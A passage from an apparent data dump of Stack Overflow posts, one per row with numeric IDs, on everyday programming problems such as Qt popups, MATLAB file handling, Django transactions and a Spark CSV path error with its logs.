35996913	0	 <p>I had read that for early Windows OS I should use the non-thread safe version of PHP. That version is missing the php5apache2_x.dll which caused doubt about this package. An acquaintance said to use the thread safe version which had the php5apache2_4.dll. It seemed to work in the Windows CMD browser after I set my environment variable to that folder. But digging further, it appears that I should also upgrade my Apache to 2.4 as later PHP and later Apache are using different Visual Studio compilers.</p>
14590472	0	 <p>It looks like it is just a single object being returned rather than an array so you should be able to access the id property using <strong>data.id</strong> , no need to specify an array index.</p>
26091676	0	 <pre><code>arr.each_cons(2).select{|array|array.inject(:+) == 0}.count &gt; 0 </code></pre>
39163394	0	Put label on a label in netbeans GUI builder <p>Trying desperately to put a label over another label in netbeans because the one label is acting as the background image and I want the label in the foreground to have a different image.</p> <p>Every time i drag another label on top, the JFrame gets bigger and the label tries to slot down the side.</p> <p>Here is what I've got (I want the label where the red circle in the middle is not on the right down the side):</p> <p><a href="https://i.stack.imgur.com/eUJdS.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/eUJdS.jpg" alt=""></a>:</p>
12053136	0	 <p>you never call extractRow and displayBoard methods.</p> <p>Call these methods inside start method your code will work properly.</p>
27234347	0	 <pre><code>Dim intCounter As Integer Dim nmTemp As Name For intCounter = 1 To ActiveWorkbook.Names.Count MsgBox ActiveWorkbook.Names(intCounter) Next intCounter </code></pre>
16030872	0	 <p>Try something like this:</p> <pre><code>self.array = [[NSMutableArray alloc] init]; MyViewController *vc = self; [MyApp getCampaigns:^(NSArray *response) { [vc.array addObjectsFromArray:response]; }]; </code></pre> <p>This will allow the objective-c compiler to create a strong reference to vc in the block, which will then point to self.</p>
38962095	0	Image in ListView that goes off-screen loses its state (never set to 'loaded') <p><strong>The situation:</strong> </p> <p>I have a large list of photos and we are loading them in a grid of thumbnails. These thumbnails are each their own component that are loaded in sets of three within the RenderRow function. Here's the Image component in question:</p> <pre><code>&lt;Image style={styles.image} source={this.state.loaded ? { uri: image.url_small } : imagePlaceholder} onLoad={() =&gt; { this.setState({ loaded: true }); }} onLoadStart={() =&gt; { this.setState({ loaded: false }); }} /&gt; </code></pre> <p><strong>The issue:</strong></p> <p>Our issue is that if you are scrolling rapidly, or have a less-than-optimal internet connection, some of the images that begin loading never have the "onLoad" called, presumably because they are no longer visible (because we scrolled beyond them in the list already). </p> <p>However, when we scroll back to those images, all that is rendered is the placeholder image, and the state of the photo is never set to <code>loaded: true</code>. I've tried messing with the <code>onChangeVisibleRows</code> function on the ListView like so:</p> <pre><code>onChangeVisibleRows={(visibleRows) =&gt; { const visibleRowNumbers = []; for (const row in visibleRows) { visibleRowNumbers.push(row); } this.setState({ visibleRowNumbers }); }} </code></pre> <p>This seems to work as expected and in the RenderRow function I can check if that specific row is visible, and try to re-render and images in that row by passing a <code>isVisible</code> prop to the image component, but the image component still isn't updating when I return true from <code>shouldComponentUpdate</code> when the isVisible prop changes. </p> <p>But to no avail. </p> <p>I believe I'm on the right track, but have hit a dead end. <strong>Does anyone have an idea how I can force an image component to reload?</strong> Or is there some sort of <code>onLoadInterrupted</code> that might be added so that it begins loading again once it is in view?</p>
32295315	0	Are compilers able to avoid branching instructions? <p>I've been reading about <a href="http://www.graphics.stanford.edu/~seander/bithacks.html" rel="nofollow">bit twiddling hacks</a> and thought, are compilers able to avoid branching in the following code:</p> <pre><code>constexpr int min(const int lhs, const int rhs) noexcept { if (lhs &lt; rhs) { return lhs; } return rhs } </code></pre> <p>by replacing it with (<a href="http://www.graphics.stanford.edu/~seander/bithacks.html#IntegerMinOrMax" rel="nofollow">explanation</a>):</p> <pre><code>constexpr int min(const int lhs, const int rhs) noexcept { return rhs ^ ((lhs ^ rhs) &amp; -(lhs &lt; rhs)); } </code></pre>
26351797	0	Altering text in a .txt file and creating a new file output in MATLAB <p>I apologize in advance if the title seems a bit off. I was having trouble deciding what exactly I should name it. Anyway, basically what I am doing now is completely homework that deals with low-level I/Os. For my one assignment, I have given two .txt files, one that includes a list of email addresses and another that includes a list members who no longer was to be on an email list. What I have to do is delete the emails of the members from the second list. Additionally, there may be some nasty surprises in the .txt files. I have to clean-up the emails and take out any unwanted punctuation after the emails, such as semi-colons, commas and spaces. Furthermore, I need to lowercase all of the text. I'm struggling with this problem in more ways than one (I'm not entirely sure how to get my file to write what I need it to in my output), but right now my main concern is outputting the unsubscribe message in the correct order. Sortrow doesn't seem to work.</p> <p>Here are some test cases:</p> <pre><code>Test Cases unsubscribe('Grand Prix Mailing List.txt', ... 'Unsubscribe from Grand Prix.txt') =&gt; output file named 'Grand Prix Mailing List_updated.txt' that looks like 'Grand Prix Mailing List_updated_soln.txt' =&gt; output file named 'Unsubscribe from Grand Prix_messages.txt' that looks like 'Unsubscribe from Grand Prix_messages_soln.txt' </code></pre> <p>The original mailing list</p> <pre><code>Grand Prix Mailing List: MPLUMBER3@gatech.edu, lplumber3@gatech.edu Ttoadstool3@gatech.edu; bkoopa3@gatech.edu ppeach3@gatech.edu, ydinosaur3@gatech.edu kBOO3@gatech.edu WBadguy3@gatech.edu; FKong3@gatech.edu dkong3@gatech.edu dbones3@gatech.edu </code></pre> <p>People who are like nope: </p> <pre><code>MARIO PLUMBER; bowser koopa Luigi Plumber, Donkey Kong King BOO; Princess Peach </code></pre> <p>What it's supposed to look like afterwards:</p> <pre><code>ttoadstool3@gatech.edu ydinosaur3@gatech.edu wbadguy3@gatech.edu fkong3@gatech.edu dbones3@gatech.edu </code></pre> <p>My file output:</p> <pre><code>Mario, you have been unsubscribed from the Grand Prix mailing list. Luigi, you have been unsubscribed from the Grand Prix mailing list. Bowser, you have been unsubscribed from the Grand Prix mailing list. Princess, you have been unsubscribed from the Grand Prix mailing list. King, you have been unsubscribed from the Grand Prix mailing list. Donkey, you have been unsubscribed from the Grand Prix mailing list. </code></pre> <p>So Amro has been kind enough to provide a solution, though it's a little above what I know right now. My main issue now is that when I output the unsubscribe message, I need it to be in the same order as the original email list. For instance, while Bowser was on the complaining list before Luigi, in the unsubscribe message, Luigi needs to come before him.</p> <p>Here is my original code:</p> <pre><code>function[] = unsubscribe(email_ids, member_emails) Old_list = fopen(email_ids, 'r'); %// opens my email list Old_Members = fopen(member_emails, 'r'); %// Opens up the names of people who want to unsubscribe emails = fgets(Old_list); %// Reads first line of emails member_emails = [member_emails]; %// Creates an array to populate while ischar(emails) %// Starts my while loop %// Pulls out a line in the email emails = fgets(Old_list); %// Quits when it sees this jerk if emails == -1 break; end %// I go in to clean stuff up here, but it doesn't do any of it. It's still in the while loop though, so I am not sure where the error is proper_emails = lower(member_emails); %// This is supposed to lowercase the emails, but it's not working unwanted = findstr(member_emails, ' ,;'); member_emails(unwanted) = ''; member_emails = [member_emails, emails]; end while ischar(Old_Members) %// Does the same for the members who want to unsubscribe names = fgetl(member_emails); if emails == -1 break end proper_emails = lower(names); %// Lowercases everything unwanted = findstr(names, ' ,;'); names(unwanted) = ''; end Complainers = find(emails); New_List = fopen('Test2', 'w'); %// Creates a file to be written to fprintf(New_List, '%s', member_emails); %// Writes to it Sorry_Message = fopen('Test.txt', 'w'); fprintf(Sorry_Message, '%s', Complainers); %// Had an issue with these, so I commented them out temporarily %// fclose(New_List); %// fclose(Sorry_Message); %// fclose(email_ids); %// fclose(members); end </code></pre>
11945417	0	How to make that regular expression for something like "1,3,5,2"? <p>I'm trying to make a regex for this:</p> <pre><code>1 1,1 1,1,1 1,1,1,1 </code></pre> <p>the 1's could be any digit (0 to 9)</p> <p>I guess it would be something like that:</p> <pre><code>/^\d{1}+(,+\d{1})?+(,+\d{1})$/ </code></pre> <p>But I don't know how to put that comma in the expression and to make sure there could be a maximum of 4 digits, separated by 3 commas. </p>
6427240	0	 <blockquote> <p>i dont understand why, adding an element on the list also fires a list selection.</p> </blockquote> <p>Somewhere in your code you must be changing the selected index.</p> <p>Download and test the ListDemo example for <a href="http://download.oracle.com/javase/tutorial/uiswing/components/list.html" rel="nofollow">How to Use Lists</a>. When you run the code and "Hire" a person, then the list selection event fires (I added a System.out.println(...) to the listener). Then if you comment out:</p> <pre><code>// list.setSelectedIndex(index); </code></pre> <p>the event is not fired. So you have a problem in your code. Compare your code to the working example code to see what if different.</p> <p>If you need more help then post a <a href="http://sscce.org" rel="nofollow">SSCCE</a> that demonstrates the problem.</p>
25911398	0	 <p>Probably you forgot about something...</p> <pre><code>li { display: list-item; } </code></pre> <p>In your code there is <code>display:inline</code> which isn't list item and haven't list styles.</p>
40958678	0	 <p>maybe try <a href="https://docs.scipy.org/doc/numpy/reference/generated/numpy.apply_along_axis.html" rel="nofollow noreferrer">np.apply_along_axis</a>:</p> <pre><code>&gt;&gt;&gt; def my_func(a): ... """Average first and last element of a 1-D array""" ... return (a[0] + a[-1]) * 0.5 &gt;&gt;&gt; b = np.array([[1,2,3], [4,5,6], [7,8,9]]) &gt;&gt;&gt; np.apply_along_axis(my_func, 0, b) array([ 4., 5., 6.]) &gt;&gt;&gt; np.apply_along_axis(my_func, 1, b) array([ 2., 5., 8.]) </code></pre>
35774724	0	 <p><code>&amp;lt;</code> stands for the less-than sign <code>&lt;</code> and <code>&amp;gt;</code> stands for the greater-than sign <code>&gt;</code></p> <p><a href="http://stackoverflow.com/questions/5068951/what-do-entities-lt-and-gt-stand-for">What do entities: &amp;lt; and &amp;gt; stand for?</a></p> <p>I think(not really sure) you can replace like</p> <pre><code>string.replaceAll("&amp;l t;","&lt;"); </code></pre> <p>wish I could add comment, instead of answering but my reputation is not allowing me to do.</p>
15347976	0	 <p>When running a <code>p4 integrate</code>, the destination for the integration should be mapped in your <code>perforce client workspace</code> which is what this error indicates:</p> <p><code>provide a branch view that maps this file, or use -Di to disregard move/deletes</code></p> <p>Using <code>p4 client</code> or <code>p4v</code>, map the following perforce depot <code>//depot/MyDemoInfo/1.0/Server/My_Service</code> into your client workspace to some directory on your machine say: <code>/myp4workspace/MyDemoInfo/1.0/Server/My_Service</code></p> <p>Then do this:</p> <pre><code>cd /myp4workspace/MyDemoInfo/1.0/Server/My_Service p4 integrate //depot/MyDemoInfo/trunk/Server/My_Service/... ... # This is optional, but a regular workflow to make sure you resolve all the conflicts # Display any conflicts (there shouldn't be any since this is the first time you're integrating into this location) p4 resolve -n ... # If there are any, use p4 resolve -as ... , p4 resolve -am ... , and then p4 resolve ... # Submit your changes after verifying it is correct p4 submit ... </code></pre> <p>And one more thing you might want to take care of is, run <code>p4 integrate</code> with the <code>-t -d</code> option so that it preserves file-types, and brings in any deleted file changes (although these 2 options might not be really required in your case but nothing wrong in specifying them).</p> <p>Also you can run <code>p4 where</code> to confirm that you're in the right perforce depot location before doing any integrations.</p>
34280497	0	Why does a lazy-loaded QWidget get displayed but a stored one does not? <p>I have a collection of small popup widgets that appear in various places, but only one of each and one at a time. For simple functionality, new-to-show and delete-to-hide is okay and works like it's supposed to, but as they start to handle their own data, I can see a memory leak coming up.</p> <p>So because I only need one of each kind, I thought I'd create all of them up front in the parent constructor and just show and hide them as needed. As far as I can tell, that ought to work, but popup->show() doesn't show. The complex app that this example is based on shows that the popup does exist at the correct location and can interact with the user...except that it's invisible.</p> <p>Here's the lazy version that shows:</p> <pre><code>#ifndef MAIN_H #define MAIN_H #include &lt;QtWidgets&gt; class Popup : public QLabel { Q_OBJECT public: explicit Popup(int x, int y, int width, int height, QWidget* parent = 0); }; class MainWindow : public QMainWindow { Q_OBJECT public: MainWindow(QWidget* parent = 0); ~MainWindow() {} void mousePressEvent(QMouseEvent* ev); private: Popup* popup; }; #endif // MAIN_H /*************** *** main.cpp *** ***************/ #include "main.h" #include &lt;QApplication&gt; int main(int argc, char* argv[]) { QApplication a(argc, argv); MainWindow w; w.show(); return a.exec(); } MainWindow::MainWindow(QWidget* parent) : QMainWindow(parent) { popup = 0; QWidget* cWidget = new QWidget(this); cWidget-&gt;setStyleSheet("background-color: lightgray"); setCentralWidget(cWidget); showMaximized(); } void MainWindow::mousePressEvent(QMouseEvent* ev) { if(popup != 0) { if(!popup-&gt;geometry().contains(ev-&gt;x(), ev-&gt;y())) { delete popup; popup = 0; } } else { popup = new Popup(ev-&gt;x(), ev-&gt;y(), 100, 100, this); popup-&gt;show(); } ev-&gt;accept(); } Popup::Popup(int x, int y, int width, int height, QWidget* parent) : QLabel(parent) { setStyleSheet("background-color: black"); setGeometry( x - (width / 2), // Left y - (height / 2), // Top width , // Width height // Height ); } </code></pre> <p>And here's the pre-created version that doesn't show:</p> <pre><code>#ifndef MAIN_H #define MAIN_H #include &lt;QtWidgets&gt; class Popup : public QLabel { Q_OBJECT public: explicit Popup(QWidget* parent = 0); void setup(int x, int y, int width, int height); }; class MainWindow : public QMainWindow { Q_OBJECT public: MainWindow(QWidget* parent = 0); ~MainWindow() {} void mousePressEvent(QMouseEvent* ev); private: Popup* popup; }; #endif // MAIN_H /*************** *** main.cpp *** ***************/ #include "main.h" #include &lt;QApplication&gt; int main(int argc, char* argv[]) { QApplication a(argc, argv); MainWindow w; w.show(); return a.exec(); } MainWindow::MainWindow(QWidget* parent) : QMainWindow(parent) { popup = new Popup(this); QWidget* cWidget = new QWidget(this); cWidget-&gt;setStyleSheet("background-color: lightgray"); setCentralWidget(cWidget); showMaximized(); } void MainWindow::mousePressEvent(QMouseEvent* ev) { if(popup-&gt;isVisible()) { if(!popup-&gt;geometry().contains(ev-&gt;x(), ev-&gt;y())) { popup-&gt;hide(); } } else { popup-&gt;setup(ev-&gt;x(), ev-&gt;y(), 100, 100); popup-&gt;show(); } ev-&gt;accept(); } Popup::Popup(QWidget* parent) : QLabel(parent) { setStyleSheet("background-color: black"); } void Popup::setup(int x, int y, int width, int height) { setGeometry( x - (width / 2), // Left y - (height / 2), // Top width , // Width height // Height ); } </code></pre> <p>What am I missing?</p>
36719805	0	 <p>Test if you can request from other apps (like safari). If not might be something on your computer. In my case I had this problem with Avast Antivirus, which was blocking my simulators request (don't ask me why).</p>
7802702	0	 <p>The browser stores it locally using its own method.</p> <p>For instance, Firefox stores this in its own SQLite database. But other browsers can do it however they like.</p> <p>The method it does this should have no consequence on web applications as it's internal to the browser. It may be relevant to you, however, if you are developing a web browser or browser extension, perhaps.</p>
4033981	0	How to link shared libraries in local directory, OSX vs Linux <p>I have some shared/dynamic libraries installed in a sandbox directory. I'm building some applications which link agains the libraries. I'm running into what appears to be a difference between OSX and Linux in this regard and I'm not sure what the (best) solution is.</p> <p>On OSX the location of library itself is recorded into the library, so that if your applications links against it, the executable knows where to look for the library at runtime. This works like expected with my sandbox, because the executable looks there instead of system wide install paths.</p> <p>On Linux I can't get this to work. Apparently the library location is not present in the library itself. As I understand it you have to add the folders which contain libraries to /etc/ld.so.conf and regenerate the ld cache by running ldconfig.</p> <p>This doesn't seem to do the trick for me because my libraries are located inside a users home directory. It looks like ldconfig doesn't like that, which makes sense actually.</p> <p>How can I solve this? I don't want to move the libraries out of my sandbox.</p>
26605732	0	 <p>Add the protocol (<code>http://</code> or <code>https://</code> for example), then the handler knows what to do:</p> <pre><code>System.Diagnostics.Process.Start("http://google.com"); </code></pre> <p>Windows checks the file extension list, and that included protocols too. There it finds <code>http</code> maps to your browser. You can consider to be 'lucky' it detects <code>www.</code> too, but I wouldn't depend on it too much.</p>
39798947	0	 <p>I agree with knbk's answer that it is not possible: durability is only present at the level of a transaction, and atomic provides that. It does not provide it at the level of save points. Depending on the use case, there may be workarounds.</p> <p>I'm guessing your use case is something like:</p> <pre><code>@atomic # possibly implicit if ATOMIC_REQUESTS is enabled def my_view(): run_some_code() # It's fine if this gets rolled back. charge_a_credit_card() # It's not OK if this gets rolled back. run_some_more_code() # This shouldn't roll back the credit card. </code></pre> <p>I think you'd want something like:</p> <pre><code>@transaction.non_atomic_requests def my_view(): with atomic(): run_some_code() with atomic(): charge_a_credit_card() with atomic(): run_some_more_code() </code></pre> <p>If your use case is for credit cards specifically (as mine was when I had this issue a few years ago), my coworker discovered that <a href="https://support.stripe.com/questions/does-stripe-support-authorize-and-capture">credit card processors actually provide mechanisms for handling this</a>. A similar mechanism might work for your use case, depending on the problem structure:</p> <pre><code>@atomic def my_view(): run_some_code() result = charge_a_credit_card(capture=False) if result.successful: transaction.on_commit(lambda: result.capture()) run_some_more_code() </code></pre> <p>Another option would be to use a non-transactional persistence mechanism for recording what you're interested in, like a log database, or a redis queue of things to record.</p>
4731996	0	 <p>You can also build your application for "Any CPU" and dynamically choose which DLL to load.</p>
37855792	0	 <p>You're on the right track. You can bind the AlternationCount to the length of your collection then create a style for the default items, and change it for first the rows:</p> <pre><code>&lt;Style x:Key="differentItemsStyle" TargetType="{x:Type Label}"&gt; &lt;Setter Property="Foreground" Value="Red"&gt;&lt;/Setter&gt; &lt;Style.Triggers&gt; &lt;DataTrigger Binding="{Binding Path=(ItemsControl.AlternationIndex), RelativeSource={RelativeSource TemplatedParent}}" Value="0"&gt; &lt;Setter Property="Foreground" Value="Green"&gt;&lt;/Setter&gt; &lt;/DataTrigger&gt; &lt;DataTrigger Binding="{Binding Path=(ItemsControl.AlternationIndex), RelativeSource={RelativeSource TemplatedParent}}" Value="1"&gt; &lt;Setter Property="Foreground" Value="Yellow"&gt;&lt;/Setter&gt; &lt;/DataTrigger&gt; &lt;/Style.Triggers&gt; &lt;/Style&gt; </code></pre> <p>In your example you would have a default style for Option C, D, E which you can overwrite as you wish for Option A and Option B.</p> <p><strong>Edit</strong> In order to make this work for ListBox the binding needs to be changed:</p> <pre><code>&lt;DataTrigger Binding="{Binding Path=(ItemsControl.AlternationIndex), RelativeSource={RelativeSource AncestorType=ListBoxItem}}" Value="1"&gt; &lt;Setter Property="Foreground" Value="Yellow"&gt;&lt;/Setter&gt; &lt;/DataTrigger&gt; </code></pre> <p>See <a href="http://stackoverflow.com/questions/19491318/why-does-listbox-alternationindex-always-return-0">this answer</a> for more info.</p>
39951919	0	sample spark CSV and JSON program not running in windows <p>I am running spark program in Windows 10 machine.</p> <p>I am trying to run the below spark program</p> <pre><code>import org.apache.spark.SparkContext import org.apache.spark.SparkContext._ import org.apache.spark.SparkConf import org.apache.spark.sql.Column import org.apache.spark.sql.functions._ import org.apache.spark.sql.SQLContext import org.apache.spark.sql._ import org.apache.spark.sql.SQLImplicits import org.apache.spark.sql.expressions.Window import org.apache.spark.sql.TypedColumn import org.apache.spark.sql.Encoder import org.apache.spark.sql.Encoders import com.databricks.spark.csv object json1 { def main(args : Array[String]){ val conf = new SparkConf().setAppName("Simple Application").setMaster("local[2]").set("spark.executor.memory", "1g") val sc = new org.apache.spark.SparkContext(conf) val sqlc = new org.apache.spark.sql.SQLContext(sc) val NyseDF = sqlc.load("com.databricks.spark.csv",Map("path" -&gt; args(0),"header"-&gt;"true")) NyseDF.registerTempTable("NYSE") NyseDF.printSchema() } } </code></pre> <p>When i run the program through Run application mode in eclispse with passing arguments</p> <p>as</p> <p>src/test/resources/demo.text</p> <p>It fails with below error.</p> <pre><code>Using Spark's default log4j profile: org/apache/spark/log4j-defaults.properties 16/10/10 11:02:18 INFO SparkContext: Running Spark version 1.6.0 16/10/10 11:02:18 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 16/10/10 11:02:18 INFO SecurityManager: Changing view acls to: subho 16/10/10 11:02:18 INFO SecurityManager: Changing modify acls to: subho 16/10/10 11:02:18 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(subho); users with modify permissions: Set(subho) 16/10/10 11:02:19 INFO Utils: Successfully started service 'sparkDriver' on port 61108. 16/10/10 11:02:20 INFO Slf4jLogger: Slf4jLogger started 16/10/10 11:02:20 INFO Remoting: Starting remoting 16/10/10 11:02:20 INFO Remoting: Remoting started; listening on addresses :[akka.tcp://sparkDriverActorSystem@192.168.1.116:61121] 16/10/10 11:02:20 INFO Utils: Successfully started service 'sparkDriverActorSystem' on port 61121. 16/10/10 11:02:20 INFO SparkEnv: Registering MapOutputTracker 16/10/10 11:02:20 INFO SparkEnv: Registering BlockManagerMaster 16/10/10 11:02:21 INFO DiskBlockManager: Created local directory at C:\Users\subho\AppData\Local\Temp\blockmgr-69afda02-ccd1-41d1-aa25-830ba366a75c 16/10/10 11:02:21 INFO MemoryStore: MemoryStore started with capacity 1128.4 MB 16/10/10 11:02:21 INFO SparkEnv: Registering OutputCommitCoordinator 16/10/10 11:02:21 INFO Utils: Successfully started service 'SparkUI' on port 4040. 16/10/10 11:02:21 INFO SparkUI: Started SparkUI at http://192.168.1.116:4040 16/10/10 11:02:21 INFO Executor: Starting executor ID driver on host localhost 16/10/10 11:02:21 INFO Utils: Successfully started service 'org.apache.spark.network.netty.NettyBlockTransferService' on port 61132. 16/10/10 11:02:21 INFO NettyBlockTransferService: Server created on 61132 16/10/10 11:02:21 INFO BlockManagerMaster: Trying to register BlockManager 16/10/10 11:02:21 INFO BlockManagerMasterEndpoint: Registering block manager localhost:61132 with 1128.4 MB RAM, BlockManagerId(driver, localhost, 61132) 16/10/10 11:02:21 INFO BlockManagerMaster: Registered BlockManager 16/10/10 11:02:23 INFO MemoryStore: Block broadcast_0 stored as values in memory (estimated size 107.7 KB, free 107.7 KB) 16/10/10 11:02:23 INFO MemoryStore: Block broadcast_0_piece0 stored as bytes in memory (estimated size 9.8 KB, free 117.5 KB) 16/10/10 11:02:23 INFO BlockManagerInfo: Added broadcast_0_piece0 in memory on localhost:61132 (size: 9.8 KB, free: 1128.4 MB) 16/10/10 11:02:23 INFO SparkContext: Created broadcast 0 from textFile at TextFile.scala:30 16/10/10 11:02:23 ERROR Shell: Failed to locate the winutils binary in the hadoop binary path java.io.IOException: Could not locate executable null\bin\winutils.exe in the Hadoop binaries. at org.apache.hadoop.util.Shell.getQualifiedBinPath(Shell.java:278) at org.apache.hadoop.util.Shell.getWinUtilsPath(Shell.java:300) at org.apache.hadoop.util.Shell.&lt;clinit&gt;(Shell.java:293) at org.apache.hadoop.util.StringUtils.&lt;clinit&gt;(StringUtils.java:76) at org.apache.hadoop.mapred.FileInputFormat.setInputPaths(FileInputFormat.java:362) at org.apache.spark.SparkContext$$anonfun$hadoopFile$1$$anonfun$33.apply(SparkContext.scala:1015) at org.apache.spark.SparkContext$$anonfun$hadoopFile$1$$anonfun$33.apply(SparkContext.scala:1015) at org.apache.spark.rdd.HadoopRDD$$anonfun$getJobConf$6.apply(HadoopRDD.scala:176) at org.apache.spark.rdd.HadoopRDD$$anonfun$getJobConf$6.apply(HadoopRDD.scala:176) at scala.Option.map(Option.scala:146) at org.apache.spark.rdd.HadoopRDD.getJobConf(HadoopRDD.scala:176) at org.apache.spark.rdd.HadoopRDD.getPartitions(HadoopRDD.scala:195) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:239) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:237) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:237) at org.apache.spark.rdd.MapPartitionsRDD.getPartitions(MapPartitionsRDD.scala:35) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:239) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:237) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:237) at org.apache.spark.rdd.RDD$$anonfun$take$1.apply(RDD.scala:1293) at org.apache.spark.rdd.RDDOperationScope$.withScope(RDDOperationScope.scala:150) at org.apache.spark.rdd.RDDOperationScope$.withScope(RDDOperationScope.scala:111) at org.apache.spark.rdd.RDD.withScope(RDD.scala:316) at org.apache.spark.rdd.RDD.take(RDD.scala:1288) at com.databricks.spark.csv.CsvRelation.firstLine$lzycompute(CsvRelation.scala:174) at com.databricks.spark.csv.CsvRelation.firstLine(CsvRelation.scala:169) at com.databricks.spark.csv.CsvRelation.inferSchema(CsvRelation.scala:147) at com.databricks.spark.csv.CsvRelation.&lt;init&gt;(CsvRelation.scala:70) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:138) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:40) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:28) at org.apache.spark.sql.execution.datasources.ResolvedDataSource$.apply(ResolvedDataSource.scala:158) at org.apache.spark.sql.DataFrameReader.load(DataFrameReader.scala:119) at org.apache.spark.sql.SQLContext.load(SQLContext.scala:1153) at json1$.main(json1.scala:22) at json1.main(json1.scala) Exception in thread "main" org.apache.hadoop.mapred.InvalidInputException: Input path does not exist: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/demo.text at org.apache.hadoop.mapred.FileInputFormat.listStatus(FileInputFormat.java:251) at org.apache.hadoop.mapred.FileInputFormat.getSplits(FileInputFormat.java:270) at org.apache.spark.rdd.HadoopRDD.getPartitions(HadoopRDD.scala:199) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:239) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:237) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:237) at org.apache.spark.rdd.MapPartitionsRDD.getPartitions(MapPartitionsRDD.scala:35) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:239) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:237) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:237) at org.apache.spark.rdd.RDD$$anonfun$take$1.apply(RDD.scala:1293) at org.apache.spark.rdd.RDDOperationScope$.withScope(RDDOperationScope.scala:150) at org.apache.spark.rdd.RDDOperationScope$.withScope(RDDOperationScope.scala:111) at org.apache.spark.rdd.RDD.withScope(RDD.scala:316) at org.apache.spark.rdd.RDD.take(RDD.scala:1288) at com.databricks.spark.csv.CsvRelation.firstLine$lzycompute(CsvRelation.scala:174) at com.databricks.spark.csv.CsvRelation.firstLine(CsvRelation.scala:169) at com.databricks.spark.csv.CsvRelation.inferSchema(CsvRelation.scala:147) at com.databricks.spark.csv.CsvRelation.&lt;init&gt;(CsvRelation.scala:70) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:138) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:40) at com.databricks.spark.csv.DefaultSource.createRelation(DefaultSource.scala:28) at org.apache.spark.sql.execution.datasources.ResolvedDataSource$.apply(ResolvedDataSource.scala:158) at org.apache.spark.sql.DataFrameReader.load(DataFrameReader.scala:119) at org.apache.spark.sql.SQLContext.load(SQLContext.scala:1153) at json1$.main(json1.scala:22) at json1.main(json1.scala) 16/10/10 11:02:23 INFO SparkContext: Invoking stop() from shutdown hook 16/10/10 11:02:23 INFO SparkUI: Stopped Spark web UI at http://192.168.1.116:4040 16/10/10 11:02:23 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped! 16/10/10 11:02:23 INFO MemoryStore: MemoryStore cleared 16/10/10 11:02:23 INFO BlockManager: BlockManager stopped 16/10/10 11:02:24 INFO BlockManagerMaster: BlockManagerMaster stopped 16/10/10 11:02:24 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped! 16/10/10 11:02:24 INFO SparkContext: Successfully stopped SparkContext 16/10/10 11:02:24 INFO ShutdownHookManager: Shutdown hook called 16/10/10 11:02:24 INFO ShutdownHookManager: Deleting directory C:\Users\subho\AppData\Local\Temp\spark-7f53ea20-a38c-46d5-8476-a1ae040736ac </code></pre> <p>Below is the main error msg</p> <p>Input path does not exist: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/demo.text</p> <p>I have the file in the below location.</p> <p><a href="http://i.stack.imgur.com/ugXF7.jpg" rel="nofollow">!</a>]<a href="http://i.stack.imgur.com/ugXF7.jpg" rel="nofollow">1</a></p> <p>When i ran the below program it ran sucussfully,</p> <pre><code>import org.apache.spark.SparkContext import org.apache.spark.SparkContext._ import org.apache.spark.SparkConf import org.apache.spark.sql.Column import org.apache.spark.sql.functions._ import org.apache.spark.sql.SQLContext import org.apache.spark.sql._ import org.apache.spark.sql.SQLImplicits import org.apache.spark.sql.expressions.Window import org.apache.spark.sql.TypedColumn import org.apache.spark.sql.Encoder import org.apache.spark.sql.Encoders import com.databricks.spark.csv object json1 { def main(args : Array[String]){ val conf = new SparkConf().setAppName("Simple Application").setMaster("local[2]").set("spark.executor.memory", "1g") val sc = new org.apache.spark.SparkContext(conf) val sqlc = new org.apache.spark.sql.SQLContext(sc) /* val NyseDF = sqlc.load("com.databricks.spark.csv",Map("path" -&gt; args(0),"header"-&gt;"true")) NyseDF.registerTempTable("NYSE") NyseDF.printSchema() print(sqlc.sql("select distinct(symbol) from NYSE").collect().toList)*/ val PersonDF = sqlc.jsonFile("src/test/resources/Person.json") // PersonDF.printSchema() PersonDF.registerTempTable("Person") sqlc.sql("select * from Person where age &lt; 60").collect().foreach(print) } </code></pre> <p>Below is the log file.</p> <pre><code>Using Spark's default log4j profile: org/apache/spark/log4j-defaults.properties 16/10/10 11:54:12 INFO SparkContext: Running Spark version 1.6.0 16/10/10 11:54:13 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 16/10/10 11:54:13 INFO SecurityManager: Changing view acls to: subho 16/10/10 11:54:13 INFO SecurityManager: Changing modify acls to: subho 16/10/10 11:54:13 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(subho); users with modify permissions: Set(subho) 16/10/10 11:54:14 INFO Utils: Successfully started service 'sparkDriver' on port 51113. 16/10/10 11:54:14 INFO Slf4jLogger: Slf4jLogger started 16/10/10 11:54:14 INFO Remoting: Starting remoting 16/10/10 11:54:15 INFO Remoting: Remoting started; listening on addresses :[akka.tcp://sparkDriverActorSystem@192.168.1.116:51126] 16/10/10 